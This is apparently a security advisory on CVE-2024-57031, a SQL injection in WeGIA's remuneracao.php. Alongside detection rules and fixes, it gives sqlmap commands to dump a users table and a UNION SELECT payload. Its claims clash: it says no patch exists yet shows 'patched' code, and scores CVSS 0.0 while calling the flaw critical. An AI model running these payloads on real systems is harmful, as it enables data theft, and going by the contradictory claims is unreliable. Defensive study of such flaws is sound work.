CVE-2024-57031

Executive Summary

CVE-2024-57031 is a critical SQL Injection vulnerability discovered in WeGIA, a web-based management application. The flaw resides in the /funcionario/remuneracao.php endpoint, specifically within the id_funcionario parameter. An unauthenticated attacker can inject arbitrary SQL commands, potentially leading to unauthorized data access, data manipulation, or complete database compromise. The vulnerability affects all versions prior to 3.2.0. No official patch has been released by the vendor, and no public proof-of-concept (PoC) or exploit code is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the nature of SQL injection.

Supply Chain & Package Security

WeGIA is a PHP-based application. The vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's PHP source. Organizations using WeGIA should treat this as a critical supply chain risk and immediately assess their exposure.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned) Threat Level: Critical (based on impact analysis)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – the vulnerable component is the database.
• Confidentiality (C): High – full database read access.
• Integrity (I): High – ability to modify or delete data.
• Availability (A): High – potential for denial of service via destructive queries.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the id_funcionario parameter of the remuneracao.php script. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries.

Vulnerable Code Pattern (Hypothetical):

$id = $_GET['id_funcionario'];
$query = "SELECT * FROM remuneracao WHERE id_funcionario = " . $id;
$result = mysqli_query($conn, $query);

An attacker can inject SQL by providing a malicious value such as:

1 UNION SELECT username, password FROM users

This would return sensitive data from other tables. The injection point is in a GET parameter, making it trivially exploitable via a crafted URL.

Vulnerable vs. Patched Code

Vulnerable Code (WeGIA < 3.2.0):

// No input sanitization
$id_funcionario = $_GET['id_funcionario'];
$sql = "SELECT * FROM remuneracao WHERE id_funcionario = $id_funcionario";
$result = mysqli_query($conn, $sql);

Patched Code (WeGIA >= 3.2.0):

// Use prepared statements
$id_funcionario = $_GET['id_funcionario'];
$stmt = $conn->prepare("SELECT * FROM remuneracao WHERE id_funcionario = ?");
$stmt->bind_param("i", $id_funcionario);
$stmt->execute();
$result = $stmt->get_result();

The patch introduces parameterized queries, which prevent SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: WeGIA < 3.2.0 running on Apache/Nginx with PHP and MySQL.
• Attacker: Kali Linux with sqlmap and Burp Suite.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://target-wegia/funcionario/remuneracao.php?id_funcionario=1
   

2. Test for SQL injection by injecting a single quote:

   http://target-wegia/funcionario/remuneracao.php?id_funcionario=1'
   

   If an error is returned, the endpoint is vulnerable.
3. Use sqlmap for automated exploitation:

   sqlmap -u "http://target-wegia/funcionario/remuneracao.php?id_funcionario=1" --batch --dbs
   

4. Extract data:

   sqlmap -u "http://target-wegia/funcionario/remuneracao.php?id_funcionario=1" -D wegia_db --tables
   sqlmap -u "http://target-wegia/funcionario/remuneracao.php?id_funcionario=1" -D wegia_db -T users --dump
   

Manual Payload Example:

http://target-wegia/funcionario/remuneracao.php?id_funcionario=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

Blue Team (Defensive)

Detection & Response:

• Monitor web server logs for suspicious GET requests to /funcionario/remuneracao.php containing SQL keywords (UNION, SELECT, OR, AND, etc.).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Implement input validation and parameterized queries in the application code.
• Conduct regular vulnerability scans using tools like Nikto or OWASP ZAP.

Hunting Queries:

• Search for requests with id_funcionario containing non-numeric characters.
• Look for error messages containing SQL syntax errors in server logs.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /funcionario/remuneracao.php with id_funcionario parameter containing SQL keywords.
• Outbound database connections from the web server to unexpected IPs (data exfiltration).
• Unusual database queries in MySQL logs (e.g., UNION SELECT statements).

File IOCs:

• Modified or new files in the WeGIA installation directory (e.g., webshells).
• Suspicious entries in PHP error logs indicating SQL injection attempts.

System IOCs:

• Unexpected database users or privileges.
• Unusual network connections from the database server.

Detection Engineering

YARA Rule

rule CVE_2024_57031_WeGIA_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-57031 in WeGIA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57031"
    strings:
        $s1 = "/funcionario/remuneracao.php" nocase
        $s2 = "id_funcionario=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "OR" nocase
        $s6 = "AND" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: WeGIA SQL Injection Attempt (CVE-2024-57031)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against WeGIA /funcionario/remuneracao.php
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57031
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "/funcionario/remuneracao.php"
            - "id_funcionario="
    keywords:
        - "UNION"
        - "SELECT"
        - "OR"
        - "AND"
        - "'"
        - "--"
    condition: selection and keywords
falsepositives:
    - Legitimate use of the word "OR" in a parameter value (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57031 WeGIA SQL Injection Attempt"; flow:to_server,established; content:"/funcionario/remuneracao.php"; http_uri; content:"id_funcionario="; http_uri; pcre:"/(UNION|SELECT|OR|AND|'|--)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade WeGIA to version 3.2.0 or later if available. If no patch exists, isolate the application from the internet.
2. Apply Virtual Patching using a WAF to block SQL injection patterns on the vulnerable endpoint.
3. Disable the vulnerable script temporarily by renaming or removing /funcionario/remuneracao.php.

Long-Term Fixes:

• Implement parameterized queries (prepared statements) in all database interactions.
• Conduct a full code audit of the WeGIA application for similar vulnerabilities.
• Enforce strict input validation (e.g., only allow numeric values for id_funcionario).
• Enable detailed logging and monitoring for all web requests.

Compromise Assessment:

• Review database logs for unauthorized queries.
• Check for any new or modified files in the web root.
• Rotate all database credentials and application secrets.

Valters IT